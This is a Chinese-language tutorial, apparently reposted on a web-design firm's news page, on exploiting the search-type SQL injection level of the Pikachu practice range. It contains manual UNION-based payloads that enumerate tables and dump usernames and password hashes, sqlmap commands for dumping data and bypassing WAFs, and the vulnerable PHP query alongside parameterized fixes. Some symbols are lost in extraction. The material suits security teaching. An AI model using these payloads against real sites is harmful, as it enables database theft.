资讯动态

Pikachu靶场实战:搜索型SQL注入原理与联合查询利用详解

发布时间:2026/8/21 5:27:35 来源:尧图企业网站定制
在渗透测试或安全学习过程中SQL注入始终是Web安全领域绕不开的核心课题。很多初学者在接触数字型注入后一旦遇到需要闭合引号的字符型注入特别是带有模糊搜索功能的场景就容易感到无从下手。本文将以经典的Pikachu靶场为实战环境深入复盘“搜索型注入”这一关卡详细拆解如何利用union进行字符型闭合联合注入。通过完整的步骤、清晰的原理分析和可复现的代码示例你将不仅掌握通关技巧更能理解其背后的数据库交互逻辑为实际的安全审计工作打下坚实基础。1. 背景与核心概念什么是搜索型注入在深入实战之前我们有必要厘清几个关键概念理解“搜索型注入”的特殊性。1.1 SQL注入的本质与分类SQL注入SQL Injection是一种将恶意的SQL代码插入或“注入”到应用程序的输入参数中从而欺骗后端数据库执行非预期命令的攻击技术。其根本原因在于程序没有对用户输入进行充分的过滤和验证直接将用户输入拼接到了SQL查询语句中。根据注入点参数的处理方式SQL注入通常分为以下几类数字型注入注入点的参数原本就是整数例如id1。SQL语句拼接后形如SELECT * FROM users WHERE id 1。攻击时无需处理引号。字符型注入注入点的参数是字符串例如name‘admin’。SQL语句拼接后形如SELECT * FROM users WHERE username ‘admin’。攻击时必须先闭合前端的单引号才能插入恶意代码。搜索型注入这是字符型注入的一种特殊且常见的形式。通常出现在网站的搜索功能中使用LIKE关键字进行模糊匹配。其SQL语句模板通常为SELECT * FROM articles WHERE title LIKE ‘%用户输入%’。这里的%是SQL通配符表示任意字符。攻击者需要闭合的不仅是引号还包括这个通配符%。1.2 联合查询注入Union-Based Injection原理UNION操作符用于合并两个或多个SELECT语句的结果集。联合注入的核心思想是利用程序原有查询通过UNION连接一个我们自定义的SELECT查询从而将数据库中的其他信息如数据库名、表名、字段内容“联合”展示在原本的页面回显位置。成功利用UNION注入有两个关键前提字段数相同前后两个SELECT语句查询的列数必须完全相同。数据类型兼容对应列的数据类型应该相似现代数据库通常要求不那么严格但列数必须一致。因此攻击步骤通常为判断注入类型 - 闭合原有查询 - 探测字段数 - 确定回显点 - 构造UNION查询获取数据。1.3 Pikachu靶场简介Pikachu是一个带有漏洞的Web靶场平台专门用于Web安全漏洞的教学和实战练习。它集成了SQL注入、XSS、CSRF、文件上传等多种常见漏洞场景。“SQL-Inject”模块下的“搜索型注入”正是模拟了一个带有模糊搜索功能的新闻查询页面是我们练习字符型闭合和联合注入的绝佳环境。2. 环境准备与靶场搭建工欲善其事必先利其器。在开始注入之前我们需要一个可操作的实验环境。2.1 所需环境组件操作系统Windows 10/11 Linux (如Ubuntu) 或 macOS。Web服务器Apache 或 Nginx。推荐使用集成环境。数据库MySQL (Pikachu靶场基于PHPMySQL)。PHP版本 5.4 或 7.x (需开启相应扩展如mysqli)。集成环境推荐PHPStudy(Windows)集成了Apache、MySQL、PHP一键安装对新手友好。XAMPP(跨平台)同样是非常流行的集成环境。Docker通过Docker镜像运行环境隔离性好。例如使用docker pull area39/pikachu。2.2 Pikachu靶场安装步骤以下以在Windows下使用PHPStudy为例下载Pikachu从GitHub或官方渠道下载Pikachu的源码压缩包。解压到Web目录将解压后的pikachu文件夹放入PHPStudy的WWW目录下例如D:\phpstudy_pro\WWW\。启动服务打开PHPStudy启动Apache和MySQL服务。初始化数据库在浏览器中访问http://localhost/pikachu。页面会提示数据库未初始化点击“初始化安装”按钮。安装程序会自动创建数据库pikachu并导入所需数据。访问靶场安装成功后刷新页面即可进入Pikachu主页。点击左侧“SQL-Inject” - “搜索型注入”即可进入我们的目标关卡。版本说明本文演示基于Pikachu最新版本截至撰写时核心原理与旧版本一致。不同环境下的路径和细微差别请根据实际情况调整。3. 漏洞分析与手动注入实战现在我们正式进入靶场。页面是一个简单的搜索框提示“试试在搜索框里输入一些内容例如新闻”。我们的目标是利用这个搜索功能获取数据库的敏感信息。3.1 第一步判断注入点与注入类型这是所有SQL注入攻击的起点。我们需要确认这里是否存在SQL注入漏洞以及是哪种类型。基础测试在搜索框输入一个单引号‘然后点击搜索。预期结果如果页面返回数据库错误如“You have an error in your SQL syntax...”或页面显示异常空白、部分内容缺失则强烈暗示存在SQL注入漏洞并且很可能是字符型。Pikachu实战在Pikachu中输入‘后搜索页面依然正常显示但无搜索结果。这不够明显我们需要更精确的测试。构造永真与永假条件永真条件输入k%‘ or 11 #。让我们拆解这个payloadk%匹配任意以“k”开头的内容是为了触发正常的搜索逻辑让页面有回显。‘用于闭合SQL语句中LIKE条件前的那个单引号。or 11这是一个永远为真的条件。#在MySQL中#是行注释符用于注释掉SQL语句后续的部分特别是闭合尾部引号和%通配符。假设后端代码后端PHP代码可能如下所示$search $_GET[‘search’]; $sql “SELECT * FROM news WHERE title LIKE ‘%$search%’”; $result mysqli_query($conn, $sql);Payload拼接后的SQL当我们输入k%‘ or 11 #后最终的SQL语句变为SELECT * FROM news WHERE title LIKE ‘%k%‘ or 11 #%’#后面的%’被注释掉了。这个查询的意思是查找标题包含“k”的新闻或者1等于1。由于11恒真所以这条查询会返回news表中的所有记录。Pikachu实战输入k%‘ or 11 #并搜索。你会发现页面列出了数据库中的所有新闻条目而不是只包含“k”的新闻。这证实了注入漏洞的存在并且是字符型注入。永假条件输入k%‘ and 12 #。拼接后的SQLSELECT * FROM news WHERE title LIKE ‘%k%‘ and 12 #%’由于12恒假AND操作会导致整个WHERE条件为假查询应该返回空结果。Pikachu实战输入后搜索页面显示无结果或与永真条件结果明显不同。通过“永真”返回所有数据“永假”返回空数据我们完全确认了这是一个可被利用的字符型SQL注入点。3.2 第二步确定查询结果的字段数Order By为了使用UNION查询我们必须知道当前SELECT语句查询了多少列字段。我们使用ORDER BY子句进行探测。ORDER BY n表示按第n列进行排序。如果n超过了实际的列数数据库就会报错。构造Payloadk%‘ order by 1 #k%‘ order by 2 #k%‘ order by 3 # 依次递增。Payload拼接后的SQL-- 尝试 order by 1 SELECT * FROM news WHERE title LIKE ‘%k%‘ order by 1 #%’ -- 尝试 order by 2 SELECT * FROM news WHERE title LIKE ‘%k%‘ order by 2 #%’Pikachu实战输入k%‘ order by 1 # 页面正常显示。输入k%‘ order by 2 # 页面正常显示。输入k%‘ order by 3 # 页面正常显示。输入k%‘ order by 4 #页面显示错误或异常在Pikachu中可能表现为无结果或报错。结论当order by 4时出错说明当前查询的字段数最大为3。我们成功探测出原查询SELECT了3个字段。3.3 第三步寻找数据回显点字段数已知为3现在我们需要构造一个UNION SELECT查询并确定页面的哪个位置会显示我们注入查询的结果。构造探测Payloadk%‘ union select 1,2,3 #这里我们UNION了一个查询select 1,2,3 它同样返回3列内容分别是数字123。拼接后的SQLSELECT * FROM news WHERE title LIKE ‘%k%‘ union select 1,2,3 #%’Pikachu实战输入并搜索。观察页面你会发现原本显示新闻标题、内容的地方有某个位置被数字“2”和“3”替代了通常“1”可能不显示或者显示在ID位置。典型回显页面可能显示一条奇怪的“新闻”标题是“2”内容是“3”。这说明页面的第二个字段可能对应title和第三个字段可能对应content的内容是从数据库查询结果中直接取出并显示的。这两个位置就是我们的“回显点”可以用于显示我们想获取的任何信息。3.4 第四步利用回显点获取数据库信息现在我们可以把union select 1,2,3中的数字2和3替换成我们想要查询的数据库函数。常用MySQL信息函数database(): 返回当前数据库名称。user(): 返回当前MySQL用户名和主机。version(): 返回MySQL版本信息。datadir: 返回数据库数据存储目录。获取基础信息Payload:k%‘ union select 1,database(),user() #解释用database()替换回显点2用user()替换回显点3。Pikachu实战输入并搜索。页面回显中标题位置会显示当前数据库名应该是pikachu内容位置会显示当前数据库用户如rootlocalhost。获取数据库中的表名 MySQL中数据库的元数据如表名、列名存储在information_schema这个特殊的数据库中。information_schema.tables表存储了所有表的信息。Payload:k%‘ union select 1,table_name,3 from information_schema.tables where table_schemadatabase() #解释from information_schema.tables: 从系统表查询。where table_schemadatabase(): 限定只查询当前数据库pikachu下的表。table_name: 我们要查询的字段即表名。Pikachu实战输入并搜索。页面可能会显示当前数据库下的第一张表名例如httpinfo。为了获取所有表名我们通常使用group_concat()函数将所有结果合并到一行。获取所有表名Payload:k%‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() #结果页面回显处会显示一个用逗号连接的字符串如httpinfo,member,message,users,xss...。这里我们特别关注users表它很可能存储了用户账号密码。获取表中的列名 知道了表名users接下来获取它的所有列名字段名。这需要查询information_schema.columns表。Payload:k%‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_name‘users’ #解释查询pikachu数据库下users表的所有列名。Pikachu实战输入并搜索。回显点会显示类似id,username,password,level的字符串。我们成功获取了列名其中username和password是我们的目标。最终攻击拖取数据现在表名 (users)、列名 (username,password) 都已掌握可以直接查询数据了。Payload:k%‘ union select 1,username,password from users #解释直接从users表中查询username和password字段并分别显示在页面的两个回显点上。Pikachu实战输入并搜索。页面会以“新闻列表”的形式显示出users表中的所有用户名和密码密码通常是MD5哈希值。至此我们完成了从漏洞探测到数据窃取的全过程。4. 自动化工具辅助注入以Sqlmap为例手动注入有助于深刻理解原理但在实战或效率要求高时自动化工具是更好的选择。Sqlmap是开源的SQL注入检测与利用神器。重要声明Sqlmap仅用于授权测试严禁对非授权目标进行任何测试。4.1 Sqlmap基础命令假设Pikachu搜索型注入的完整URL是http://localhost/pikachu/vul/sqli/sqli_search.php检测注入点sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php?submit%E6%90%9C%E7%B4%A2namek” --batch-u: 指定目标URL。--batch: 以非交互模式运行所有提示选择默认选项。指定参数与注入技术 搜索功能通常是POST请求我们需要指定参数。用Burp Suite等工具抓包找到POST数据体例如searchksubmit搜索。sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” --batchSqlmap会自动识别注入类型。对于字符型它会尝试各种闭合方式。获取当前数据库sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” --current-db --batch列出所有表sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” -D pikachu --tables --batch列出指定表的列sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” -D pikachu -T users --columns --batch拖取数据sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” -D pikachu -T users -C username,password --dump --batch--dump会导出指定列的所有数据。4.2 针对搜索型/字符型注入的Sqlmap技巧指定闭合符如果Sqlmap自动检测不准确可以手动指定闭合方式。从手动注入我们知道闭合需要处理%‘和尾部的‘%。sqlmap -u “URL” --data“searchksubmit...” --prefix“%‘” --suffix“#” --batch--prefix: 指定注入数据前的字符串这里是%‘。--suffix: 指定注入数据后的字符串这里是注释符#用于注释掉原SQL语句尾部的‘%。使用级别和风险--level和--risk参数可以提高检测强度尝试更多payload。5. 漏洞原理与防御方案知其然更要知其所以然。了解漏洞如何产生才能从根本上修复它。5.1 漏洞代码还原分析以下是存在搜索型SQL注入漏洞的简化版后端PHP代码// vul/sqli/sqli_search.php (漏洞版本) ?php $link mysqli_connect(‘localhost‘, ‘root‘, ‘root‘, ‘pikachu‘); if (!$link) { die(‘Could not connect: ‘ . mysqli_error()); } if(isset($_GET[‘submit‘]) $_GET[‘name‘] ! null){ $name $_GET[‘name‘]; // 危险未经过滤的用户输入 // 漏洞点直接将用户输入拼接到SQL语句中 $query “select id,email from member where username like ‘%$name%‘“; $result mysqli_query($link, $query); // ... 显示结果 ... } ?关键问题第8行用户输入的$name被直接拼接进SQL字符串。当用户输入k%‘ or 11 #时就构成了我们之前利用的恶意查询。5.2 根本原因与安全开发建议根本原因信任了不可信的用户输入。程序将来自前端URL、表单、Cookie等的数据未经任何验证、过滤或转义就直接用于构造数据库查询命令。核心防御思想“数据”与“代码”分离。永远不要将用户输入当作代码的一部分来执行。SQL语句的结构代码应该是固定的而查询条件数据应该通过安全的通道传入。5.3 具体防御措施以PHP/MySQL为例1. 使用参数化查询预编译语句—— 首选方案这是防止SQL注入最有效、最根本的方法。数据库引擎会严格区分SQL语句的骨架和传入的参数值参数值即使包含恶意SQL也只会被当作普通数据处理。// 安全版本 - 使用MySQLi预处理语句 ?php $link mysqli_connect(‘localhost‘, ‘root‘, ‘root‘, ‘pikachu‘); if (isset($_GET[‘submit‘]) $_GET[‘name‘] ! null) { $name $_GET[‘name‘]; // 1. 准备SQL语句模板使用 ? 作为占位符 $stmt mysqli_prepare($link, “SELECT id, email FROM member WHERE username LIKE ?”); // 2. 绑定参数。‘s‘ 表示字符串类型将 $name 变量绑定到第一个 ? 上 // 注意LIKE查询需要手动添加 % 通配符到参数值上而不是SQL语句中 $search_term “%” . $name . “%”; mysqli_stmt_bind_param($stmt, “s”, $search_term); // 3. 执行语句 mysqli_stmt_execute($stmt); // 4. 获取结果 $result mysqli_stmt_get_result($stmt); // ... 处理结果 ... mysqli_stmt_close($stmt); } ?使用PDO方式同样安全// 安全版本 - 使用PDO预处理语句 ?php $pdo new PDO(‘mysql:hostlocalhost;dbnamepikachu‘, ‘root‘, ‘root‘); $pdo-setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); if (isset($_GET[‘submit‘]) $_GET[‘name‘] ! null) { $name “%” . $_GET[‘name‘] . “%”; $stmt $pdo-prepare(“SELECT id, email FROM member WHERE username LIKE :name”); $stmt-bindParam(‘:name‘, $name, PDO::PARAM_STR); $stmt-execute(); $result $stmt-fetchAll(PDO::FETCH_ASSOC); // ... 处理结果 ... } ?2. 输入验证与过滤白名单验证对于已知有限集合的输入如性别、状态只接受预设值。类型强制转换对于数字型参数使用intval()等函数强制转换为整数。长度限制对输入字符串进行合理的长度限制。注意过滤如addslashes()、mysql_real_escape_string()在特定字符集下可能被绕过不应作为唯一的防御手段应与预处理语句结合使用。3. 最小权限原则数据库连接账户不应使用root等高级权限账户。应为Web应用创建独立的数据库用户并只授予其必要的最小权限如SELECT、INSERT、UPDATE在特定表上避免其执行DROP TABLE、FILE等危险操作。4. 错误信息处理生产环境应关闭或自定义数据库错误回显避免将详细的SQL错误信息直接展示给用户防止攻击者利用这些信息进行更深入的探测。6. 常见问题与排查思路在手动注入或使用工具时你可能会遇到一些问题。问题现象可能原因排查与解决思路输入‘后页面正常无报错1. 不存在SQL注入漏洞。2. 漏洞存在但被静默处理错误被捕获不显示。3. 注入类型判断错误可能是数字型或需要其他闭合符。1. 尝试永真(‘ or 11 #) 和永假(‘ and 12 #) 条件观察页面结果是否有差异。2. 尝试数字型测试 (1 and 11,1 and 12)。3. 尝试其他注释符 (--注意有个空格%23即#的URL编码)。union select后页面空白或报错1. 字段数判断错误。2.UNION前后查询的列数据类型不兼容。3. 某些列在页面不显示导致回显点判断错误。1. 重新用order by精确判断字段数。2. 在union select中尝试用null代替数字null可匹配任何类型。3. 尝试union select 1,2,3,4...直到页面正常以确定总列数。使用Sqlmap无法检测到注入1. 目标有WAFWeb应用防火墙拦截。2. 注入点需要特定的闭合方式或编码。3. 请求方式判断错误GET/POST。1. 使用--tamper参数尝试编码绕过脚本如space2comment。2. 手动测试确定闭合方式然后用--prefix和--suffix指定。3. 确保Sqlmap使用的请求方法和参数正确用-r参数加载抓取的数据包文件最准确。搜索型注入中%通配符干扰测试用户输入的%和_在LIKE子句中有特殊含义。1. 在测试时将%作为搜索关键词的一部分如k%‘利用它闭合原SQL中的前一个%。2. 使用[%]或\%进行转义取决于数据库但在注入测试中将其作为数据部分处理更直接。7. 总结与学习路线通过本次对Pikachu靶场“搜索型注入”的深度复盘我们系统性地走完了一个完整的字符型联合注入流程从漏洞判断、类型识别、字段数探测、回显点定位到最终利用系统表 (information_schema) 获取数据库信息。同时我们也探讨了使用Sqlmap进行自动化利用的方法并从开发者角度分析了漏洞根源及修复方案。核心要点回顾搜索型注入本质是字符型注入需要同时处理LIKE子句中的引号和%通配符闭合。联合注入 (UNION) 的前提是弄清原查询的字段数并通过ORDER BY或UNION SELECT NULL,...来探测。information_schema数据库是MySQL中获取元数据库、表、列信息的关键。参数化查询预编译语句是根治SQL注入的银弹任何过滤和转义都应作为辅助手段。建议的学习路线基础入门在DVWA、Pikachu等靶场中按难度顺序练习数字型、字符型、搜索型、报错型、布尔盲注、时间盲注。原理深入阅读OWASP SQL Injection Prevention Cheat Sheet理解不同数据库MySQL、PostgreSQL、SQL Server的语法差异和特有函数。工具掌握熟练使用Sqlmap、Burp Suite的Intruder/Repeater模块学习编写简单的Tamper脚本。代码审计尝试阅读并分析开源项目中存在SQL注入漏洞的代码以及修复后的代码。实战扩展在合法的漏洞赏金平台或授权的渗透测试项目中尝试发现和报告真实的SQL注入漏洞。安全之路始于足下。理解攻击是为了更好的防御。希望这篇详细的复盘笔记能帮助你牢固掌握SQL注入的核心原理与实战技巧在安全学习的道路上走得更加稳健。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价